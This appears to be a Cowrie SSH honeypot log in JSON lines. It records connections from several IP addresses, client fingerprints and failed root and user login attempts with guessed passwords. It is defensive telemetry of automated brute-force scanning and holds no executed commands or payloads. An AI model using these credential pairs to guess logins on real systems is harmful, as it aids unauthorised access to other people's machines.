{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:14:59.759357Z","src_ip":"103.77.175.15","session":"2c6b04a371f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"johncena","message":"login attempt [root/johncena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:00.524548Z","src_ip":"103.77.175.15","session":"2c6b04a371f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:01.786672Z","src_ip":"103.77.175.15","session":"2c6b04a371f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.196.26.161","src_port":46138,"dst_ip":"10.17.0.5","dst_port":22,"session":"ee1d259e1cdd","protocol":"ssh","message":"New connection: 118.196.26.161:46138 (10.17.0.5:22) [session: ee1d259e1cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:16.211512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:16.216501Z","src_ip":"118.196.26.161","session":"ee1d259e1cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:17.169778Z","src_ip":"118.196.26.161","session":"ee1d259e1cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:18.183387Z","src_ip":"118.196.26.161","session":"ee1d259e1cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.253.45.10","src_port":46056,"dst_ip":"10.17.0.5","dst_port":22,"session":"320a17afc1ee","protocol":"ssh","message":"New connection: 46.253.45.10:46056 (10.17.0.5:22) [session: 320a17afc1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:19.560008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:19.564893Z","src_ip":"46.253.45.10","session":"320a17afc1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:19.691020Z","src_ip":"46.253.45.10","session":"320a17afc1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahdi","password":"mahdi","message":"login attempt [mahdi/mahdi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:20.225885Z","src_ip":"46.253.45.10","session":"320a17afc1ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45428,"dst_ip":"10.17.0.5","dst_port":22,"session":"327503e0c76c","protocol":"ssh","message":"New connection: 89.144.214.214:45428 (10.17.0.5:22) [session: 327503e0c76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:21.073166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:21.080083Z","src_ip":"89.144.214.214","session":"327503e0c76c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:21.210739Z","src_ip":"89.144.214.214","session":"327503e0c76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:21.354250Z","src_ip":"46.253.45.10","session":"320a17afc1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:21.784096Z","src_ip":"89.144.214.214","session":"327503e0c76c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:22.915498Z","src_ip":"89.144.214.214","session":"327503e0c76c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":52096,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e15f43be214","protocol":"ssh","message":"New connection: 62.133.63.178:52096 (10.17.0.5:22) [session: 9e15f43be214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:24.295069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:24.300770Z","src_ip":"62.133.63.178","session":"9e15f43be214","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:24.426357Z","src_ip":"62.133.63.178","session":"9e15f43be214","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03111987","message":"login attempt [root/03111987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:24.805112Z","src_ip":"62.133.63.178","session":"9e15f43be214","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:25.933713Z","src_ip":"62.133.63.178","session":"9e15f43be214","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47428,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7d622cd7627","protocol":"ssh","message":"New connection: 89.223.69.22:47428 (159.203.135.109:22) [session: b7d622cd7627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:48.453648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:48.458932Z","src_ip":"89.223.69.22","session":"b7d622cd7627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:48.578078Z","src_ip":"89.223.69.22","session":"b7d622cd7627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaharov","message":"login attempt [root/zaharov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:48.936417Z","src_ip":"89.223.69.22","session":"b7d622cd7627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:15:50.057967Z","src_ip":"89.223.69.22","session":"b7d622cd7627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":42904,"dst_ip":"10.17.0.5","dst_port":22,"session":"d350cfb24817","protocol":"ssh","message":"New connection: 165.154.5.173:42904 (10.17.0.5:22) [session: d350cfb24817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:02.126716Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:02.132768Z","src_ip":"165.154.5.173","session":"d350cfb24817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:02.352374Z","src_ip":"165.154.5.173","session":"d350cfb24817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mk","password":"mk","message":"login attempt [mk/mk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:03.254518Z","src_ip":"165.154.5.173","session":"d350cfb24817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":51974,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a5f3cfd174c","protocol":"ssh","message":"New connection: 43.156.170.155:51974 (10.17.0.5:22) [session: 3a5f3cfd174c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:03.623786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:03.633415Z","src_ip":"43.156.170.155","session":"3a5f3cfd174c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:03.871875Z","src_ip":"43.156.170.155","session":"3a5f3cfd174c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:04.474857Z","src_ip":"165.154.5.173","session":"d350cfb24817","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":44684,"dst_ip":"159.203.135.109","dst_port":22,"session":"42cf66bcc654","protocol":"ssh","message":"New connection: 109.172.54.111:44684 (159.203.135.109:22) [session: 42cf66bcc654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:04.479498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:04.483502Z","src_ip":"109.172.54.111","session":"42cf66bcc654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:04.579177Z","src_ip":"109.172.54.111","session":"42cf66bcc654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mahdi","password":"mahdi","message":"login attempt [mahdi/mahdi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:04.854818Z","src_ip":"43.156.170.155","session":"3a5f3cfd174c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23101991","message":"login attempt [root/23101991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:16:04.873198Z","src_ip":"109.172.54.111","session":"42cf66bcc654","protocol":"ssh"}
